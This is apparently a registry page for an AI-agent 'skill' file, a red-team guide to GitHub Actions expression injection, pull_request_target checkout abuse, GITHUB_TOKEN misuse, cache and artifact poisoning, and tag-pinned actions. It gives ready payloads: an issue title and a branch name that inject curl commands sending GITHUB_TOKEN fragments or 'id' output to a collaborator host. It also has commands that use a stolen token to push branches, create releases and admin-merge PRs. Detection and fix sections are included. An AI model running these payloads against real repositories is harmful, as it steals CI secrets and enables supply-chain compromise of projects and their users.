GitHub Actions ${{ }} expression injection — attacker-controlled context (issue/PR title, body, branch name, commit message) substituted into run: steps, unsafe pull_request_target + PR-head checkout, GITHUB_TOKEN scope abuse, artifact/cache poisoning, action tag-vs-SHA pinning.
64
76%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/cicd/github-actions-injection/SKILL.md${{ <expr> }} is interpolated by the runner before the shell sees the line. If the expression sources from untrusted github.event.*, the substituted text is parsed by bash (or pwsh) as code — full RCE on the runner, with whatever token + secrets the job exposes.
These fields are attacker-controllable in fork PRs, issues, comments, branches:
| Context | Source | Notes |
|---|---|---|
github.event.issue.title / .body | issue create / edit | any logged-in user |
github.event.pull_request.title / .body | PR create / edit | any forker |
github.event.pull_request.head.ref | branch name on fork | ; $() ``` are valid Git branch chars |
github.event.comment.body | issue/PR comment | broad reach |
github.event.review.body / .review_comment.body | PR review | |
github.event.head_commit.message / .commits[*].message | push / PR | newlines allowed |
github.event.pages[*].page_name | gollum wiki | |
github.head_ref | shorthand for PR head branch | same as above |
# Direct ${{ }} into run: blocks
grep -rnE '\$\{\{\s*github\.(event\.(issue|pull_request|comment|review|head_commit|pages)|head_ref)' \
<REPO>/.github/workflows/
# actionlint flags most of these
docker run --rm -v "$PWD:/repo" rhysd/actionlint:latest -color# VULNERABLE
on: [issues, pull_request_target]
jobs:
triage:
runs-on: ubuntu-latest
steps:
- name: Echo title
run: |
echo "New issue: ${{ github.event.issue.title }}" # <-- sinkOpen an issue titled:
hello"; curl -s https://<COLLAB>/$(printf %s "$GITHUB_TOKEN" | base64 -w0 | head -c 12) #Runner expands to:
echo "New issue: hello"; curl -s https://<COLLAB>/$(printf %s "$GITHUB_TOKEN" | base64 -w0 | head -c 12) #"The shell runs curl with the first 12 base64-chars of GITHUB_TOKEN as the URL path. (PoC pattern — truncate; do not exfil the full token.)
# Fork → create branch with a shell-meta name
git checkout -b 'x";curl -s https://<COLLAB>/$(id)#'
git commit --allow-empty -m bn
git push origin HEAD
gh pr create --title typo --body typo --repo <OWNER>/<REPO>If any workflow does echo ${{ github.head_ref }} in a run:, the runner executes id and posts the result.
pull_request_target + PR-head checkout# VULNERABLE
on: pull_request_target
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with: { ref: ${{ github.event.pull_request.head.sha }} }
- run: npm ci && npm testTwo attack paths on the same workflow:
package.json postinstall (see poisoned-pipeline-execution/SKILL.md).${{ github.event.* }} sink in the base workflow is still exploitable via title / body / branch name.# Pass via env, never interpolate directly
- name: Echo title
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: echo "New issue: $ISSUE_TITLE"$ISSUE_TITLE is expanded by bash only — shell-meta inside $ISSUE_TITLE becomes literal text. Note this still requires set -u or careful quoting; double-quote the variable.
GITHUB_TOKEN permission abuseIf the workflow does not set permissions: explicitly, the token defaults to whatever the repo / org default is — historically read-all / write-all. With write scope you can:
# From inside the runner — push to a release branch via the token
git remote set-url origin "https://x-access-token:${GITHUB_TOKEN}@github.com/${GITHUB_REPOSITORY}.git"
git push origin HEAD:refs/heads/release/x
# Create a release
gh release create v0.0.0-poc --notes "research" --target $GITHUB_SHA
# Approve + merge a PR (if `contents: write` + `pull-requests: write`)
gh pr merge <N> --merge --adminAlways check the effective scope:
# Inside the job — see what the token can do
curl -sI -H "Authorization: Bearer $GITHUB_TOKEN" https://api.github.com/ | grep -i x-oauth-scopes
gh api /repos/$GITHUB_REPOSITORY --jq '.permissions'actions/cache keys are scoped by repo + branch. A PR job that restores a cache the base branch wrote can be made to write malicious content for the next base-branch run when pull_request_target is in play. Same for actions/upload-artifact followed by a deploy job that downloads + executes.
# Smell — artifact used as build input without integrity check
- uses: actions/download-artifact@v4
with: { name: build }
- run: ./build/release.sh # <- if attacker poisoned `build`, this runs attacker code# Tag-pinned — silently movable by the action author or anyone who hijacks the repo
- uses: tj-actions/changed-files@v44
# SHA-pinned — immutable
- uses: tj-actions/changed-files@a284dc1814e3fd07f2e34267fc8f81227ed29fb8tj-actions/changed-files (CVE-2025-30066, Mar 2025) shipped a malicious commit retagged onto previously-trusted tags, exfiltrating secrets from every downstream consumer. Pattern recurs — assume every tag-pinned third-party action is a supply-chain risk.
# List every third-party action and its pin style across the org
gh api "search/code?q=uses+org:<OWNER>+path:.github/workflows" --jq '.items[].path' \
| xargs -I{} gh api "repos/<OWNER>/<REPO>/contents/{}" --jq '.content' \
| base64 -d | grep -E 'uses:\s*[^/]+/[^@]+@'| Signal | Defender view |
|---|---|
${{ github.event.*.title | .body | .ref | .message }} in run: | static lint (actionlint, zizmor) |
Branch name containing shell metas (;, $(, backtick) | pre-receive hook on the org |
pull_request_target + actions/checkout with head.sha/head.ref | zizmor rule dangerous-checkout |
Token scopes write-all w/ no permissions: block | repo / org default token policy |
| Tag-pinned third-party action | dependabot.yml action-update review |
| Tool | Use |
|---|---|
actionlint | First-line static check; flags 90% of expression-injection sinks |
zizmor (woodruffw) | Rust-based audit, catches pull_request_target + checkout patterns |
octoscan | Workflow scanner with PoC generation hints |
gh CLI | Inspect runs, logs, token scopes, approve fork-PR runs |
gato-x (praetorian-inc) | End-to-end PPE / expression-injection automation |
interactsh / Burp Collaborator for the beacon. Do not POST the token anywhere durable.tj-actions/changed-files (CVE-2025-30066) post-mortem0cf691e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.